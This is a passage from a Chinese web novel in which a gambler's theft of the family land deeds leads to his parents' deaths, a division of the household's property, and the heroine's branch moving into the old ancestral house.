苏志远还没出村就遇上出来挑水的苏志强。苏志强喊了他两声没得到回复,看他着急忙慌的就觉得坏事了。他丢了水桶,快跑几步把人扑倒在地。
苏志远一时不察,被扑了个正着,手里的匣子飞了出去,里面的地契散落一地。
一地的地契像是罪证,苏志强一张张捡起来脸色越来越难看,气得照着苏志远的脸就是两拳。
“大……大哥。”苏志远看着怒火中烧的哥哥,后怕的退了两步。
“苏志远,你这个杂碎!”苏老大声音发颤,“你把全家的命根子拿了,就不怕我们饿死?”
“大哥,又怎么了?”远远的,苏志兴担着一挑柴看到自己大哥跟人打起来,旋即丢了柴,去帮忙。
“老二,你来得正好,帮我把这畜牲绑起来弄回去。”
“苏志远!”苏志兴踹了苏志远两脚,才解了裤腰带反手给他绑起来。
把地契全部捡起来收好,两兄弟一人抓一只手,把苏志远拖回去。
“他又干什么坏事了?”
将地契匣子递给弟弟,苏志强说:“你自己看。”
“什么啊?”苏志兴也识字,掀开匣子一看,立刻认出里面的东西是地契。
他一把提起苏志远,兜头就是两拳:“王八蛋。”狠狠打了两拳还不解气,苏志兴一脚把苏志远踹趴下。
“啊!”苏志远蜷曲成一团,嗷嗷叫唤。
“你还是不是人?祖宗几辈子攒下的家业,你要拿去填赌场那个无底洞?我今天非打死你不可。”苏志兴边踹边骂,“脏心烂肺的老赌狗,看我今天不打死你!”
三妯娌费尽口舌,好不容易让卖家便宜了几文钱。蚊子再小也是肉,她们高兴的赶着猪仔回来,谁想到一进门就看到公婆房门大开,门前一地鲜血,老爷子趴在门槛上人事不知!
黄月英让惠娘赶紧去请大夫,她和苗金凤把人抬回屋里。
苏大夫给二老把了脉,对三人摇了摇头:“你们准备后事吧!”
尽管早做了心理准备,三人听到这个结论,还是差点受不住:“爹!娘!”
屋里哭声震天,苏大夫叹息着走了出去。
苏瑾和苏芸回来看到这情况,顿时手脚冰凉。
“大嫂二嫂,快去把大伯他们叫回来,好歹再见爹娘最后一面。”惠娘抹泪提醒道。
“对,让他们回来见爹娘最后一面。”两人踉踉跄跄的去找人。
“老大、老二,赶紧回去,爹娘不好了!”黄月英跑过来,脸上满是惊慌。
“什么?”苏志强、苏志兴顾不得管再苏志远,赶紧往家里去。
二老气若游丝,只吊着最后一口气。苏家两兄弟跪在地上泣不成声。
“苏志远!”
两兄弟恨恨的叫着苏志远的名字,急匆匆跑了出去。
苏志远被冻醒,全身上下没有一处不痛的。偷拿地契的事被发现了,回去定是没好果子吃,还是先去县城的朋友家里躲段时间,等爹娘气消了再回去。
天黑看不清路,又下着大雪,苏志远挣扎半天也没能把身上绑着的绳子弄开,只能就这么被绑着,顶着风雪赶路。
“苏志远,你给我站住!”
这恶狠狠的语气,能是好事?苏志远理也没理,拔腿狂奔。
只是一个被绑了上半身的人,能平衡好身体?很快苏志远就一头栽倒,苏志强两兄弟跟上来,把人像拖死狗一样拖回去。
把苏志远五花大绑关在柴房里,苏志强召集大家说事。
苏家堂屋,几房都聚在里面。
苏志强把地契一张一张摊在桌子上清点,确定无
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误后才开口:“苏志远做的事,大家都知道了。爹娘现在这样,等……等事情办完了,咱们再请里长、村长来处理他。”
“还等什么?现在就把他送官府去。”苏志兴拍桌怒道,“这样一个不孝不悌的东西,早该送他去蹲大牢了!”
三房的人坐在角落,惠娘感受到两位嫂嫂和侄子侄女们的目光,抱着两个儿子低着头没吭声。
“他做的事,与惠娘和侄子侄女无关。”苏志强看了一眼弟媳,“你们别多想。”
苏志远干出气死爹娘的事,不说什么,这人是自己的丈夫,惠娘自觉无脸见人。
苏志强排了顺序,大家轮流守夜,别等二老走了,一个个熬夜精力不足,让二老走得不体面。
苏志强头一个守夜,其他人回房休息。
惠娘和女儿挤在一处,焦虑的问女儿:“阿瑾,咱们以后可怎么办啊?”
“能怎么办?听大伯二伯安排吧!”出了这样的事,她们又做不得主。
两位伯伯都是厚道人,要是没苏志远今天干出偷盗地契,害得公婆命不久矣,惠娘也不怕,只是如今闹成这个样子……
“你爹这次犯了这么大的错,咱们肯定会受牵连。”
苏瑾握住母亲的手,轻声安慰说:“犯事的是他,要被送官的也是他,咱们最惨不过被赶出去。”
“傻孩子,你哪里知道世道的艰难?”惠娘眼里含泪,“这些年,娘的嫁妆和攒下的钱全被你爹那个烂赌鬼拿走了,要是咱们被赶出去,没有钱财土地,咱们靠什么生活?”
苏瑾将手伸到母亲眼前:“娘,咱们有手有脚,还能饿死不成?”
“娘,你想啊,要是没了我爹败家,就算没钱没地,只要我们踏实肯干,一定能攒出钱来买地的。”
这地方其实是比较富庶的,寻一个对佃户好些的富户佃些地来种,隔个几年,她们也能买得起地。
再加上自己还有点挣钱的小本事,让一家人吃饱穿暖还是能做到的。
许是苏瑾说得坚定,惠娘被女儿说服,安下心来。这人一放松,尿意就来了。
“阿瑾,你先睡,我去躺茅厕。”
“刚好我也想去茅厕,我和娘一起。”
大冷天的上厕所是真难,母女俩上完厕所,哆哆嗦嗦回房。
“惠娘,惠娘!”苏志远冻得嘴唇青紫,听到外面有动静,忙叫住惠娘。
惠娘听到苏志远叫自己,犹豫了下,还是过去看看他要干嘛。
“娘,”苏瑾拉住母亲,“别管他。”
惠娘不是狠心的:“他到底是你们的爹,我去看看他要干嘛。有门锁在,他又出不来。没事。”
惠娘拉开女儿的手,走上前去。
诶!娘的心也太软了,那混蛋家暴的时候可没想过她是他的妻子,她们是他的儿女。
“惠娘,这柴房冷得很,你开开门,让我去屋里睡。”苏志远冻得难受,说话都哆哆嗦嗦的。
惠娘也不是个傻的,万一把人放出来,让他给跑了,她怎么和家里其他人交代?
抱了床被子,惠娘让女儿把门开了个口子,将被子扔了进去。
“砰!”
苏志远瞅准时机冲过来,没得逞,气得他对着门连踹了几脚。
母女俩对视一眼,多在门上挂了把锁。
16. 爷奶去世
换惠娘守着二老,苏瑾端了午饭给母亲,她拿羽毛在爷爷奶奶鼻子底下试了试,羽毛随着呼气吸气轻微动着。
饭后老爷子睁眼,惠娘看老爷子气色变好,人也清醒,心里不但不喜悦,反而一颗心沉入谷底。
这是回光返照啊!
“惠娘,把老大老二夫妇都叫进来,我有话要说。”
“诶!”惠娘抹着眼泪出去喊人。
几人挤进来屋里,一个个低着头抹眼泪。
“别哭了,人生在世,谁还没有这么一天?”生命的最后时刻,老爷子也是看开了。
鬼门关前走了几遭,他算是想清楚了。趁现在还有一口气,把家里的事理清楚,免得以后孩子们为难。
“怪我糊涂,让老三把家里扰得一团糟,连累你们受苦了。”全家为着一个苏志远,日子越过越差,若是自己早点狠下心来,也不会让苏家落魄至此!
苏志强连连摇头,宽慰老父亲:“不怪父亲,都是我的过错。若我这个当大哥的一开始就看好老三,他也没机会和那些不三不四的人混在一路,也就不会做下那些事来!”
都怪自己不够强硬,才害得一家子受累。
苏志兴也要说话,被老爷子抬手打断。
“好了,事情已经到了这个地步,你们也别争了!”老爷子把大家叫过来,是为了正事。
“惠娘,你先出去,带孩子们去做事吧。”
惠娘听话的带上门,招呼孩子们做事。
打发走惠娘,老爷子转头问大儿,“地契你收着,现在家里还有多少亩地?还值个多少钱?”
不知道父亲为何提到这个,苏志强老实回答:“全部加起来还有六十来亩。上等田四十二亩,中等田十亩,下等田十亩。能值个一百五十六贯钱。”
“爹,你问这个做什么?”苏志兴疑惑,这是要清算家产吗?
老爷子歇了口气,面向一大家子人说道:“趁我现在还在,就把这家分了,免得以后你们为难。我说说我的想法,要是你们有不同意见的,咱们再商量着办。”
“上等田大房二房两家一家一半。这房子有十几年了,老二,你要是要这房子,你就拿出一半建房子的钱给我们大房。如果你要出去另建,老大就想办法把钱给你凑出来。老大,你觉得怎么样?”
苏瑾不知道爷爷醒过来了,轻手轻脚的去楼上拿豆子,准备煮的豆子来吃。她在楼上听着他们的对话,想着:那她们三房呢?
“老三一家呢?”苗金凤问出了苏瑾的疑问。
“他们?”黄月琴被三房的人折磨得够够的了,现在家里这个样子,没准儿子连个媳妇都娶不了!
她冷笑着说,“赌坊可是拿了价值二十贯钱的地契,把祖宅给他们住就是了,其他的?休想!”
“话不能这么说。”苏志强叹气道,“老三媳妇和孩子们是无辜的。这么多年为着老三赌钱的事,老三媳妇连嫁妆都没了,要是不分地给她们娘几个,那不是让她们去死吗?”
黄月琴气哼哼的没说话。
“这样吧,上等田咱们两家占了,剩下那二十亩地就给她们母子几人,至于以后守不守得住就看她们的了!”苏志强也不想逼得三房的人走投无路。
“那可有二十亩地!”苏志兴不同意,提高声量说,“老三干出这种事,她们能好意思要这地?依我看,把那几亩下的田给她们就不错了!”
“就是。”黄月琴帮腔,“苏瑾今年都十岁了,再过两年就要嫁出去。老三媳妇带着两个孩子,十亩下等地,怎么也饿不着。”
惠娘去菜园子摘菜回来,正好听到大嫂的话,她只觉浑身冰凉。十亩下等田?那几亩地全在半山腰上,常常有山猪野兽侵袭,根本收不到多少粮食。若真只分给她们下等田,她们母子母女哪能活得下去?
惠娘抬手想敲门,又想到柴房里还关着的人,颓唐的方下了手。
罢了罢了,就苏志远干的那些事,这个结果已经很好了。就像女儿说的,她们再去佃几亩地来种,那能就饿死了?
听到伯父伯母们的争执,苏瑾没了听下去的心思。随便拿了点豆子,她就钻到伙房里去了。
老爷子没把她娘留下,什么意思不言而喻,她就等着他们商量好了来通知吧!
做了这么久家人,苏瑾心里难免难受,她默默宽慰自己;“占了人家的身份,就得担起责任。苏志远是这身体的爹,他做了坏事,我受牵连不是很正常吗?别想那么多了,至少当面的时候,他们都没给自己脸色看,还想着分房子和地给三房,这已经挺好了!”
老爷子咳嗽两声,大家停了下来。
黄月琴也不是小气的人,这么多年被苏志远拖后腿,她忍忍也就算了。可如今二房的芸娘定了刘家,他们倒是可以缓缓,可自家英朗已经十九了!
靠着卖衣服好不容易攒了点钱全没了,就现在挣的那两个钱,能做成什么事?
男子娶亲,谁家不得给孩子翻新翻新房间,置办些家当?就这家里的情况,她都怕儿子成了光棍!
苏志兴也是为了子女才气得慌!固然弟妹侄女侄子们没有错,就凭她们是苏志远的妻小,他心里就难受。
上次刘家打发喜婆来定婚期,定的今年五月初八,如今他们手里没两个钱,到时候连一份像样的的嫁妆都拿不出来!若是芸娘连份嫁妆都没有,芸娘如何在婆家立足?
“我知道这家里都是因为老三这个败家子,老大、老大,等我和你们娘去了,就把他以忤逆不孝为由,送到官府去吧!”
他们两口子对这个儿子从小就寄托厚望,不惜牺牲另外两个儿子供他读书,没想到到最后竟然是他把这个家毁了!
老爷子流下悔恨的泪水,艰难说到:“等官府把他抓走了,你们就把他从咱们家的户头上踢出去,以后苏志远就再也不是苏家的人!”
若告苏志远“忤逆不孝”,只怕他一只脚就要踏进鬼门关去。
大房二房再恨苏志远,事关人命,他们一时之间没应下。
都是好孩子,老爷子坚定的又说了一遍自己的意思,两房看老爷子是铁了心了,才点头应下。
老爷子把分家的事交代清楚,便说自己累了,让他们都出去,他要休息。
四人坐在父母房前,心情沉重。
老爷子看着老妻苍白的面容,笑着说:“咱们俩一起,黄泉路上就不孤单了。”
老爷子把头和妻子靠在一起,坦然接受人生的
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归途。
最后一丝光亮消失,苏志兴端着晚饭往爹娘房间里去,没多久他就跌跌撞撞地从二老房间跑出来,脸上满是悲戚。
“爹娘,咽气了!”
这句话像一块寒冰,瞬间将所有苏家人冻住。苏瑾愣在原地,耳边嗡嗡作响。虽然知道爷爷奶奶没几日好活,但没想到会这么快。
院子里很快乱成一团。苏志强他们都扑到屋里嚎哭,苏英朗和苏瑾他们在老两口门前手足无措。
苏志强、苏志兴抹着泪出来,带着英朗前往村里亲戚家里报丧。
苗金凤去伙房提热水给公婆净身。
“惠娘,寿衣你放哪了?快去取来。”黄月琴让惠娘取了寿衣备着,妯娌三人替两位老人净身穿衣,抬了门板下来用条凳支好,将两位老人放在上面,等着阴阳先生来装棺。
一天之内失去两位亲人,还是十分疼惜自己的亲人,苏瑾站在院子里,看着大人们进进出出,恍惚着觉得这一切都那么不真实。
“阿瑾,你和我去屋里吧,我娘说,要给爷爷奶奶装棺了,不让我们在这。”苏芸把堂妹拉到自己房间。
苏瑾透过窗户,看见亲戚把两位老人的寿棺抬进堂屋,阴阳先生穿着法袍在里面忙活。
苏家灯火通明,到了后半夜,总算把二老安置好,苏瑾换上孝服跟着大家跪在堂屋守灵。
上一次守灵还是前世的事了,给那个酒鬼爷爷守的。
苏瑾的爷爷是旧时代地主家的儿子,解放后土地被没收,老爷子没了饭来伸手衣来张口的生活,从小养成的好吃懒做的习惯却没改。
记忆中的奶奶就没过过几天好日子。不仅被婆婆撺掇儿子家暴,还得像牛一样干活养家,年纪轻轻就一身劳伤病。
每年一到要种庄稼的时候,酒鬼爷爷就借口出门打工,逃避劳动。等家里庄稼种完了,他又背着包包回来了。
更可恨的是,他为了彩礼钱,全然不管女儿们的死活。苏瑾大姑、二姑被打得床都下不了,他还想着怎么靠这个敲一笔钱打酒喝。三姑更是被他卖了几回,搞到最后,直接丧失了生育能力。
他死的时候,苏瑾内心毫无波动,还觉得这样的害群之马死得好。可苏家两位老人去世,她心里是真难过。
与自己有血缘关系的亲爷爷相反,苏家老两口不仅勤劳能干,还很关心后辈,虽然在苏志远相关的事上不好评价,但他们绝对算得上好爷爷、好奶奶。
因为苏志远的原因,家里也没多少钱,二老的丧事办得简单。
来吊唁的人对着灵柩摇头叹息:“苏家老两口多好的人,就这么被不孝子气死了!连身后事也因为这个儿子办得如此简陋。”
人来人往的,苏家发生的事早被长舌妇传扬出去,现在十里八乡谁不知道苏家有个赌鬼儿子,为了赌钱气死了爹娘。还欠了一屁股外债,招惹赌坊的人上门要债,抢了地契!
三房的人跪在灵柩前,脑袋埋得低低的。
停灵七日,在亲友的帮助下,苏家二老起灵。
“孝子摔盆。”
随着苏老大手里的瓦盆摔碎,阴阳先生高喊一声:“起灵。”
苏家上下跟在灵柩后面哀哀哭泣,送二老最后一程。
17. 分家事毕
为了避免苏志远在葬礼上捣乱,苏家上下一致决定把他绑起来关在柴房里。
苏志远隔着窗户看到家里进进出出那么多人,两副棺材进了苏家的门,他就知道坏事了!
“完了完了,这两个老不死的,早不死晚不死,偏偏现在死。”等他们下葬了,大哥二哥一定不会放过自己的。
苏志远想尽办法,终于在出殡这天寻了空子。家里除了煮饭的老婆婆没有其他人,苏志远磨断绳子,举起少了一条腿的凳子往窗户狠狠砸去,没几下就把窗子砸得稀巴烂。
“什么声音?”在厨房蒸饭的老阿婆听到声音,几个人出来查看情况。
苏志远把惠娘拿过来的被子抱在怀里,往村口狂奔。
“哎呀,这家里进贼了,把柴房窗户砸了个稀烂!”阿婆们大喊着招呼青壮进来找贼人。
才扛柴回来的青壮里里外外找了个遍,连个鬼影都没看到。
他挠着脑袋怀疑阿婆们年纪大了,耳朵出毛病了:“阿婆,你们听错了吧,没人啊!”
“这么大动静,我们这么几个人,难道都听错了?别的不说,这窗子被砸烂了就是证据,这家里一定是进了贼。”
可是没人啊!
“这事还是等主人家回来,给他们说一声,让他们看着办吧。”
直到中午,大家才回来。阿婆和青壮给苏志强他们说了进贼的事。
苏家几个大人心道不好。惠娘开了柴房的门,里面除了一些杂物,哪里还有苏志远的影子?
苏志强两兄弟憋着气招待过来帮忙的人。惠娘看着空荡荡的屋子手足无措。
吃过午饭,老爷子老太太的后事算是完了。各家自发拿走自家的桌椅板凳、锅碗瓢盆。现在天还冷着,剩下的食物被分成小份放在屋外冻上。
忙了这么久,总算能睡个安稳觉了!黄月琴想着跑掉的苏志远怎么也睡不着觉。
“苏志远现在跑了,说不一定什么时候又在外面惹事,这家里可还不起几回债了!”黄月琴推醒迷迷糊糊要睡着的丈夫,暗示着说道。
苏志强觉得自己脑袋都要炸了!他好几天没合眼了,是真困了,而且现在父母才走,他们就嚷着要分家,这像话吗?
“月琴啊!你让我好好睡一觉好吗?有什么事明天再说。”
黄月琴捶了丈夫两拳:“你先表个态。”
“我现在脑子都是乱的,说出来的话不做数。”苏志强把脸凑到妻子眼前,指着自己遍布红血丝的眼睛说,“你看我这样子,你就放过我吧,让我安心睡个觉,成吗?”
看着丈夫疲惫的模样,黄月琴心疼他,老实闭上嘴。
另一边的苏志兴也为了苏志远逃跑的事忧心。
“我这心里不踏实,怕得慌!”
苗金凤数着剩下的钱,盘算着是先还借来治丧的钱,还是先给女儿置办嫁妆。听到丈夫的话,她随意问道:“怕啥呀?”
婚期改在十月份去了,等阿芸守完半年的制,时间就差不多了。治丧的钱大家都有份,而且也不着急,还是先给女儿置办嫁妆。
苏志兴说:“苏志远逃跑了,没准还会给家里惹祸,我能不怕吗?”
他们现在是要钱没钱,又没有靠山,要是真出事了,他都怕女儿的婚事又没了!
苗金凤倒是不怕这个:“爹临终前不是说了嘛,把苏志远送官府去。”
苏志兴急到:“这不是现在人跑了嘛!”
戳了戳丈夫的榆木脑袋,苗金凤叹着气说:“你这脑袋,怎么还不开光?人跑了,咱们照样报到官府去,再求管户籍的把他的名字出咱们家户籍上划掉不就好了?”
“还是我家金凤有主意,不过……”苏志兴迟疑的说,“要是把他的名字划去了,那三房不就不算苏家人了?”
到底一个屋檐下生活这么多年,对三房的人,苏志兴可不愿意看着他们受苦。
苗金凤把钱用帕子包好,藏到房梁上去才对丈夫说:“我就说你脑袋笨,一天就别想七想八的。”
“阿瑾、英恒两兄弟,他们不只是苏志远的子女,还是爹娘的孙子孙女。划掉的是苏志远的名字,他们照样和我们还是一家。”做错事的是苏志远,又不是三房其他的人,只有他们的名字还在,就还是苏家人。
苏瑾和惠娘都知道了另外两房的打算。苏瑾还好,就她爹干的那些事,让她们净身出户都是合理的。苏家的人到底不是狠心的,最差的都还给她们房子住,给地种。
惠娘心里害怕极了,之前和女儿说到分家的事,那时不怕,那是建立在苏志远被抓去起来的情况下。现在苏志远逃跑了,谁知道他什么时候又会回来?万一到时候真的又弄出债务来,她们那还有活路?
不管苏家几房怎么想,日子总归是要过的。
大房二房凑一起合计一番,和惠娘一起去县里告了苏志远。
忤逆不孝是大罪,连被告的妻子都出来做证了,县太爷很快就让衙役下了海捕文书。
三房一起凑了点钱给管户籍的官吏,把苏志远从苏家除名的事也进行得很顺利。
走到这一步,惠娘也不想其他人为难。隔了几天,她就和大房二房坦白那天听到了他们说了要分家的事。
“惠娘,我那天说的话你别往心里去。”黄月琴拉着惠娘的手,诚恳的说,“我当时是气苏志远把家里弄得苦哈哈的,才说的气话,不是针对你们。”
有女儿开解,惠娘倒是很理解大房二房的想法。父母之爱,像来如此。若是她站在他们的立场上,也是一样的做法。
惠娘反拉着大嫂的手说:“我不怪你们,做父母的,不都是这样吗?”
看了大家一圈,惠娘坚定的说:“咱们把家分了吧!”
不管谁劝,惠娘都坚定不移。与其以后把情分都磨完了,大家互相憎恶,不如趁现在分家另过,给自己留一天退路。
惠娘铁了心要走,苏志强心想:爹娘去了,这个家的心就散了,不如就这样吧!
“那行吧!”苏志强应下,回头和苏志兴商量好了,分家的事提上日程。
既然要分家,就得和和气气的吃一顿散伙饭。
家里牲畜办丧时都吃完了,黄月琴和苗金凤起了个大早,她们二人特地去村里买了两只鸡回来杀。
两只鸡煮好了分成两锅,大人们桌上一锅,小辈们桌上一锅。
其他人吃的开开心心,惠娘却兴致缺缺。
“惠娘,快吃啊。”黄月琴看惠娘没动筷子,招呼她快吃。
“哎,好。”
隔天一早,苏志强两兄弟换上整齐的衣服,去请里长和村长。
“里长,在家呢?
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”兄弟俩分头行动,苏志强去请里长,苏志兴去请村长。
里长正蹲在门口拿柳枝刷牙,见来人了,漱了口,把人请进屋。
苏志强谢过里长儿子倒的茶水,喝了一口,向里长说明来意。
“这事啊,你们兄弟几个商量好了吗?”分家这种事,里长就是走个过场,帮忙写写文书,其他的,他概不插手。
“我家的情况您也知道,苏志远现在不知道躲哪里去了,我们大房二房和惠娘商量好了,请你和村长去做个见证。”
“行,只要不扯皮,什么都好说。”里长回屋换了衣裳,让儿子带上笔墨纸砚,一起去苏家。
里长和村长对坐,互相打了个招呼。
“来了?”
“来了!”
苏志强把家里地契放桌上,带着一大家子人站在里长和村长面前。
里长让儿子把笔墨纸砚摆上,和村长清算苏家家产。
“上等田四十二亩,中等田十亩,下等田十亩。另祖宅一栋,新宅一栋。”
里长儿子一一记录。
“苏氏两兄弟,说说你们这家怎么个分法。”
苏志强按照父亲临终前决定好的,说:“因着苏家老三——苏志远这么多年败坏祖产,现在犯下大错离家,我们苏家三房现在决定分家。”
“上等田四十二亩,大房二房一家二十一亩,中等田和下等田全部分给三房。”
苏瑾惊讶地看着大伯,不是只给她们十亩下等田吗?怎么多分了中等田给她们?
“另外,新宅归大房,祖宅归三房,二房另寻土地建房。大房和三房按照时下新宅需要的费用,一家出出一半的钱供二房建房子。”
“至于家里的外债,那都是为了给先父母治丧才欠下的。”苏老大把欠条掏出来递给村长,“这些钱三家各还一份。”
“还有其他的吗?”
“就这些了。”
“好。其他人有没有意见?”
所有人摇头,里长看苏家财产、债务都分配好了,让苏志强复述一遍,写了四份文书出来。
待墨迹干透,里长招呼苏家人:“三房上前签字画押。”
苏志强夫妇、苏志兴夫妇并惠娘在文书上写上名字,按手印。
“这文书和地契你们自己收好。”
三房接了文书和地契,这家就算分完了。
事办完,苏家兄弟招呼里长和村长留下吃完晚饭再走。
惠娘和女儿去洗菜,感叹着说到:“阿瑾啊!你大伯他们到底和你爷爷奶奶一样,心善。”
“这都是爷爷奶奶教得好。”父母好的,子女多是好的。
现在苏志远被官府下了海捕文书,他的名字又从苏家除去,以后她们再也没有后顾之忧了!
以前一大家子有爷爷奶奶做主,自己许多事不好出头,现在分家了,自己可以努力发发财了!
苏瑾有些期待分家后的日子了。
“咱们明天要搬到老宅去吗?”
“明天吗?”惠娘是想越快越好,不过老宅这些年就是拿来堆放杂物的,也不知道能不能住人?
“先去把老宅整理好了再搬,现在天气不好,淅淅沥沥的下雨,要是老宅漏雨,生病了可不好。”
苏瑾赞同,身体是革命的本钱,慢慢来。
18. 祖屋安家
分家文书都签了,惠娘和大家一个屋檐下呆着尴尬,便带着孩子们赶着时间收拾祖屋,好早日搬过来。
祖屋离苏瑾他们现在住的地方要走半个小时。从远处看,祖屋有三间正房,东西两侧还有偏房,伙房和柴房连在一起。这么大的房子,怎么就没住了?
苏瑾给母亲说了自己的疑惑。
惠娘答说:“这边的人少,而且这房子又是建在半山腰上。十多年前,那时候闹土匪,陆续有人搬离这里,到最后,就只剩下咱们苏家。老爷子怕家里落了单,被土匪盯上,就做了决定,搬到现在的新宅。”
“这样啊。”苏瑾说。
“后来土匪被剿了,陆续又有人搬回来。现在的新宅附近的土地多,加上也住习惯了,这边就荒了。对了,”惠娘指着不远处的田地,给儿女说,“那边那些地就是分给咱们的。我们搬过来,以后种庄稼可近了!”
这边常年用来堆放秸秆、砍伐回来晒干的木头这些。
秸秆留着翻新屋顶。至于木头,苏志兴说了,他这两天找人过来拉,他拿去建房子。
现在天气还冷,偶尔还会下雨,好在老房子除了有点漏风漏水,其他的没什么大问题。
苏瑾和弟弟把胡乱堆放的秸秆按种类分开,再用稻草做绳子捆好,集中到一个房间。
惠娘把里里外外查看了一遍,去请村里的木匠过来补全墙板。
花了三天时间,总算收拾出两间干干净净的房间。苏瑾和惠娘一个房间,英恒、英杰一个房间。
做饭的地方暂时就是堂屋门口凹进去的位置。没办法,伙房和柴房里面全是木头,她们几个没办法搬出来,等苏志兴有时间了,过来搬走再说。
祖屋收拾好,苏瑾她们回新宅搬收拾行李和家具。
她们现在没有积蓄,又还没找到挣钱的法子。惠娘把她们房里所有的东西都带上,几个人搬了好几趟才搬完。
累了一天,惠娘在饭桌上提了明天拉家具去祖屋,请大嫂把锅碗瓢盆理出一份来,明天她们就搬走了。
“行。”
早起搬家,几人先将铺盖背去新家,再回来搬家具。家具笨重,伯父伯母们借了牛车来帮着拉。
“多谢伯伯、嫂嫂们。”
“客气了,走吧。”
拉了第一趟,苏瑾和弟弟留在新家把拆散开的床重新拼上。
姐弟三人把床拼好,拿锤子将连接处敲紧实,免得以后睡散架。
“英恒,别直接敲床腿,仔细给敲坏了!”苏瑾和母亲睡的床是惠娘娘家给打的嫁妆,外面刷了黑漆。要是直接拿锤子敲,没两下就给漆敲烂了。
“来,拿一只草鞋包旧衣服垫着敲。”
“哦。”
英恒听话,果然把草鞋包起来,一只手拿草鞋垫着,一只手拿锤子敲击。
有其他人帮忙,她们很快安顿好。吃完午饭,惠娘让把房子后面的土挖开,以后就把这里当菜园子,种菜吃。
“啊!好累!”苏瑾来到这个世界后,最多就是去地里割菜回去喂猪。第一次挖土,不仅累,两只手还都磨起了水泡!
“累着了?”惠娘进来,看见女儿趴在被子里没动,问到。
“也还好啦。”苏瑾钻进被窝了吗,给母亲挪睡觉的位置。
母女俩睡在一头,苏瑾问母亲:“娘,给二伯建房子的钱你打算怎么挣?”
惠娘还没想好。卖粮食还?庄稼都还没种下去,而且几十贯钱,光靠卖粮食也卖不了这么多钱。卖菜?她们这里离县城那么远,等把菜挑过去,县城的人都找离得近的人买了,这个也不行。
“等把庄稼种下去,娘去城里看看,问问有没有招女工的。”县城繁华,有几家酒楼,到时候去那里看看。
“那得多久才能把这个钱挣到手?”又是建房子的钱,又是办丧事的钱,她们什么时候才有自己的钱啊?手里没存款,心里好慌张!
要很久很久吧!惠娘心想。
“好了,快睡吧。明天还有好多事要做呢。”
新家的院墙是土墙,现在塌了大半。为着省力,惠娘打算砍竹子来扎院墙。河边的水竹虽然细,但很有韧劲,一家子去河砍水竹。
“姐姐,你看,这边好多泥鳅。”英恒激动的指着河里让姐姐快看。
“哇,这泥鳅也太多了吧?”苏瑾找母亲报备,“娘,我带弟弟们去捞泥鳅,咱们今天加餐。”
砍竹子不费多少事,难得孩子们开心,惠娘点了头,不忘嘱咐他们:“尽量在水浅的地方捞,别去水深的地方,当心溺水。”
“知道了!”
姐弟三人跑回家找了竹条和竹竿,和破了几个小洞的纱布做成一个抄网兜。
“姐,这个洞有点大,泥鳅会不会从这里逃跑啊?”英杰扬着天真可爱的小脸问。
苏瑾举起抄网看,那洞果然比其他的大许多,这要是拿去捞泥鳅,那不是竹篮打水,一场空吗?“等着,我把洞缝起来。”
粗针大线的缝了几针,苏瑾得意的说:“这下看它们怎么跑。”
“走走走,捞泥鳅去!”
三个人高高兴兴的拿着抄网和水桶,去河边捕捞。
“阿杰,你个子小,腿短,就老实在岸上守着装泥鳅的水桶。等我捞泥鳅装里面,你把它们关里面,别让它们跑了!”河里青苔遍布,怕小老弟打滑掉水里生病,苏瑾直接给他安排了。
“好。那你们多抓点,不然就一两条泥鳅,根本跑不出来。”英杰如是说。
“瞧不起我们?哼哼,看我和姐姐捞多多的泥鳅来,到时候你别守不住它们,嗷嗷哭。”臭阿杰,小瞧我?看我的厉害。
“两个幼稚鬼!”苏瑾笑骂一声,和英恒脱鞋下水。
苏瑾拿抄网放水里,指挥弟弟赶泥鳅:“阿恒,你拿棍子捅石板下面。”
英恒拿棍子对着石头底下一阵乱搅,惊出一群泥鳅。苏瑾瞅准时机,一气捞了七八条。
“看到了吧?这就是我们的实力。”英恒很是得意,可惜英杰只顾着抓桶里的泥鳅玩,根本没理他。
“再来再来。”
用同样的办法,苏瑾和弟弟捞到小半桶泥鳅。连带着还捞到一些小鱼,就是这些小鱼都是鱼仔,不知道都是些什么品种。管他的,能吃就行!
既然都下水了,干脆多捞些河鲜。
苏瑾让英恒继续捞泥鳅,她跑回家拿沥水竹篮过来捞河虾。
“阿恒,过来帮我拉着盆,别等盆被水给冲走了。”
“来了。”把抄网丢到岸上,英恒在水里拉着盆跟在姐姐身边。
苏瑾把竹篮往漂浮的水草下面刮拉一次,就
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能收获一堆活蹦乱跳的河虾。
河虾好捞,苏瑾直接捞了满满一大盆。
“姐,姐!别捞了!”英杰崩溃的直接脱了衣服把虾盆盖起来,哭唧唧的求姐姐别捞了,盆里装满了,虾都跳出来跑了!
“哈哈哈,服不服?还嘲不嘲笑我们?”英恒看弟弟崩溃的样子哈哈大笑。
“服了,服了!我再也不敢乱说了!”
惠娘也砍够了补院墙的竹子,喊苏瑾来帮着修掉枝丫好背回去。
“阿恒,你和阿杰先回去把饭煮了,我去和娘弄竹子。”苏瑾走两步,怕弟弟自作主张把河鲜煮了,又叮嘱说:“泥鳅和虾你别动,我晚点自己做。”
“好,我知道了。”英恒和英杰把泥鳅和虾对换了位置。把满满一盆河虾倒到水桶里面,将泥鳅借助抄网换到盆里。
水桶深,在桶什么盖上英杰的外套,一点也不会让虾子跳出去。泥鳅有抄网兜着,想跑有跑不了!
“娘,这些就够了吗?要不要再多砍点?”苏瑾看着砍下来的竹子问。
“足够了。”惠娘递给女儿砍刀,“快弄吧,弄完好回去。”
“嗯。”
看起来没多少的竹子,苏瑾和惠娘跑了三次,才全部弄回去。
“哎呀!娘,我手扎进一点竹签子,你快帮我弄出来。”细小的竹签像仙人掌的刺扎进肉里,却比仙人掌的刺痛多了!
“你过来我看看。”
竹签扎得深,惠娘拿指甲用力挤都没挤出来:“我去拿针来挑。”
照着竹签的位置,惠娘把女儿的手用针挑开一个口子才把竹签子挑出来。
“哦!痛痛痛!”妈呀!死竹签子,害我被扎这么多针,手都挑烂了!
“下次注意不要摸竹子断口的位置,就不会被扎了!”惠娘传授经验道。
“呜呜!”
“姐,你都多大的人了?又不是英杰,哭鼻子多丢人!”英恒无情嘲笑,引来苏瑾和英杰怒目而视。
苏瑾阴阳怪气的说:“呦,就你不哭鼻子,就你勇敢。我好羡慕你哦~”
“额……姐姐你说话奇怪。”英杰摸摸头,疑惑的说,“听起来像夸我哥,可是语气又怪怪的。”
小屁孩,不知道了吧,这就是阴阳怪气的魅力。表面夸人,实际转弯抹角的讽刺。
“好了好了,阿瑾你不是要弄泥鳅吃吗?快去弄吧。”惠娘打断孩子们的玩闹,维持他们岌岌可危的亲情。
自家姐弟,哪有记仇的?没一会儿三姐弟又嘻嘻哈哈去弄菜去了。
